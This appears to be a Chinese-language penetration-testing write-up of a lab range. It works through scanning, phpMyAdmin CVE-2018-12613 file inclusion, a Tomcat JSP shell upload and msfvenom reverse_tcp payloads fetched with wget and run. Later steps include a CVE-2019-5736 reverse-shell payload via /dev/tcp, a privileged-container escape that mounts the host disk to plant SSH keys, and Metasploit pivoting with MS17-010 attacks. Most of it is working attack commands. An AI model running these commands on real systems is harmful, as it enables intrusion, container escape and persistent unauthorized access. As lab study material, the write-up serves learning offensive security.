环境搭建
1 | 外网使用NAT模式 内网使用VM3 192.168.181.0/24 |
开启web机器(ubuntu)的dokcer容器
1 | cd /home/ubuntu/Desktop/vulhub/struts2/s2-045 |
信息收集
端口扫描
sudo nmap 192.168.0.180 -sT -Pn -sV
开放了 22 2001 2002 2003 端口
分别访问了下2001,2002,2003端口
2001 structs2
2002 tomcat
2003 phpmyadmin4.8.1
漏洞利用
phpmyadmin CVE-2018-12613
看了下phpmyadmin的版本 是4.8.1 先验证下是否存在cve-2018-12613
http://192.168.0.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
直接运行了/etc/passwd 说明存在该漏洞
然后尝试getshell
在sql处 执行 select '<?php phpinfo();?>'
执行成功后查看 自己的sessionid phpmyadmin的值
2c8e2d642e3762699d4e070db30880b6
http://192.168.0.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_2c8e2d642e3762699d4e070db30880b6
http://192.168.0.128:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_7f9c04b6ead4e844459d4ec29658e424
成功执行之前在sql处的phpinfo命令
写入一句话
尝试几个一句话都写入失败了,写入后会报错,可能是因为docker的原因
struts2
可以判断是docker容器
上传jsp shell
1 | <%@ page import="java.util.*,java.io.*,java.net.*"%> |
tomcat
使用kali的searchsploit搜索tomcat的poc,这里tomcat版本是8.5
searchsploit tomcat 8.5.19
searchsploit -m jsp/webapps/42966.py
sudo python2 42966.py -u http://192.168.0.180:2002
sudo python2 42966.pu -u http://192.168.0.180:2002 -p pwn
访问http://192.168.0.180:2002/pwn.jsp
判断是docker环境ls -alh /.dockerenv
cat /proc/1/cgroup
上线msf
生成msf马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=4444 -f elf > shell.elf
kali开启http服务
sudo python3 -mhttp.server 9999
在上传的pwn.jsp通过wget下载msf
wget http://192.168.0.128:9999/shell.elf
chmod 777 shell.elf
./shell.elf
msf开启监听
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.128
set lport 4444
run
成功反弹到shell
权限提升
#### 利用CVE-2019-5736进行docker逃逸
payload下载地址 https://github.com/Frichetten/CVE-2019-5736-PoC
下载并编译main,go 修改payload替换为反弹shell
var payload = "#!/bin/bash \n bash -i >& /dev/tcp/192.168.0.128/5555 0>& 1"
编译生成go文件
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
通过msf将生成的main.go上传到靶机
upload ~/桌面/CVE-2019-5736-PoC /home
1 | cd /home |
在执行前先在kali上开启监听
nc -lvvp 5555
但是由于需要宿主机执行命令 才能去触发payload反弹shell
运行完之后 msf进入shell就会卡住...所以就换一种方法 可以使用--privileged(特权模式)进行逃逸
利用–privileged特权模式逃逸
使用特权模式向宿主机的硬盘中写入ssh私钥,实现ssh免密登录宿主机
1.查看磁盘文件 fdisk -l
2.查看设备文件 ls /dev
3.新建目录进行挂载 mkdir /test
4.将/dev/sda1挂载到/test目录中 mount /dev/sda1 /test
5.查看是否挂载成功 ls /test
6.在kali本地上生成ssh密钥 ssh-keygen -f test
,然后会生成test
test.pub
赋予600权限chmod 600 test
7.将生成的密钥写入到目标机器中
由于前面将 sda1
挂载到了/test
所以访问/test/home也就等同于去访问宿主机的/home目录
ls /test/home
查看所有文件ls -alh /test/home/ubuntu
查看.ssh文件 ls -alh /test/home/ubuntu/.ssh/
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
# -avx将权限也一起赋予
echo > /test/home/ubuntu/.ssh/authorized_keys
cat test.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf0H1/QT12pdJ04TXtsJ8C4n0CCa6l4G4MUpImanHscGsXHz8izRwWoPMuRMwSgnOC1ItEWLCvR1UGxR7VdlBlafxoan9e2nIDtGDth5w4h2aR4ac+HVTZL5mHCcx7frWqZ4sGgeX6SHswNmRqGTS8oleMULqhOvkQlA81ML0mwTgUIKTM4QNBCaB2pyC96LD6OPuO2ofzGbyjEqGuPxpI0dIHxJsL5DvwfKHYSmkuLJA65k0RRHAZrSdBE95NPqrzhgT+u33MTauhmCa2b8+mgX83AOo/mh+Upm+oqqvlkX/1PYvsUkXOpLBm/Oy/ZCWF2aTO+GbHmN2aQK766iChVl0ja04mNnmsaGiUl6MOxqqZ9jqZODpprkfatPuJrzq2Fan4ERlFO3Y7eq/o95qGkKaMdPkHWfiDiag2B+BFS/Xsvr9lKg17xcBG411aAuIhxWQJMHJHjdiM6as8kNbp+JBwU3Kr1M4i3K/Bg3rSlUPD6ibogfIQMTR1Vint2gs= kali@kali2020
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCf0H1/QT12pdJ04TXtsJ8C4n0CCa6l4G4MUpImanHscGsXHz8izRwWoPMuRMwSgnOC1ItEWLCvR1UGxR7VdlBlafxoan9e2nIDtGDth5w4h2aR4ac+HVTZL5mHCcx7frWqZ4sGgeX6SHswNmRqGTS8oleMULqhOvkQlA81ML0mwTgUIKTM4QNBCaB2pyC96LD6OPuO2ofzGbyjEqGuPxpI0dIHxJsL5DvwfKHYSmkuLJA65k0RRHAZrSdBE95NPqrzhgT+u33MTauhmCa2b8+mgX83AOo/mh+Upm+oqqvlkX/1PYvsUkXOpLBm/Oy/ZCWF2aTO+GbHmN2aQK766iChVl0ja04mNnmsaGiUl6MOxqqZ9jqZODpprkfatPuJrzq2Fan4ERlFO3Y7eq/o95qGkKaMdPkHWfiDiag2B+BFS/Xsvr9lKg17xcBG411aAuIhxWQJMHJHjdiM6as8kNbp+JBwU3Kr1M4i3K/Bg3rSlUPD6ibogfIQMTR1Vint2gs= kali@kali2020' >> /test/home/ubuntu/.ssh/authorized_keys
#
将ssh秘钥写入authorized_keys文件
查看是否写入成功,发现还是没成功,使用echo > /test/home/ubuntu/.ssh/authorized_keys
无法清除原有的值,应该是没有写入权限
cat /test/home/ubuntu/.ssh/authorized_keys
尝试去上传一个key.sh,内容如下
1 | cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys |
开启http服务使用靶机下载
sudo python3 -m http.server 9999
wget http://192.168.0.128:9999
chmod 777 key.sh
./key.sh
还是写入失败了,看了下师傅们也是这样做的没啥问题,然后我就去ubuntu靶机上试了下发现也没法使用echo写入,只能通过sudo vim authorized_keys
手动将在kali上生成的密钥复制进去,才能在kali上免密登录
ssh -i test ubuntu@192.168.0.181
上线msf
然后在msf生成木马,使用python开启gttp服务,下载后连接shell
1 | msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.128 LPORT=8888 -f elf > shell.elf |
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
突然不小心把shell.elf断掉了 重新上线了一个 session 12
添加路由
use post/multi/manage/autoroute
route print
查看路由
设置代理
use auxiliary/server/socks_proxy
sudo /etc/proxychains4.conf
修改kali
proxychains4.conf配置为socks5 127.0.0.1 1080
内网渗透
信息收集
使用smb扫描
1 | use auxiliary/scanner/smb/smb_version |
扫到两台windows机器
1 | 192.168.183.130 win2008 |
用ms17-010扫一下
1 | use auxiliary/scanner/smb/smb_ms17_010 |
两台机器都存在ms17-010漏洞
使用ms17-010进行攻击
1 | use exploit/windows/smb/ms17_010_eternalblue |
两台机器都没打通......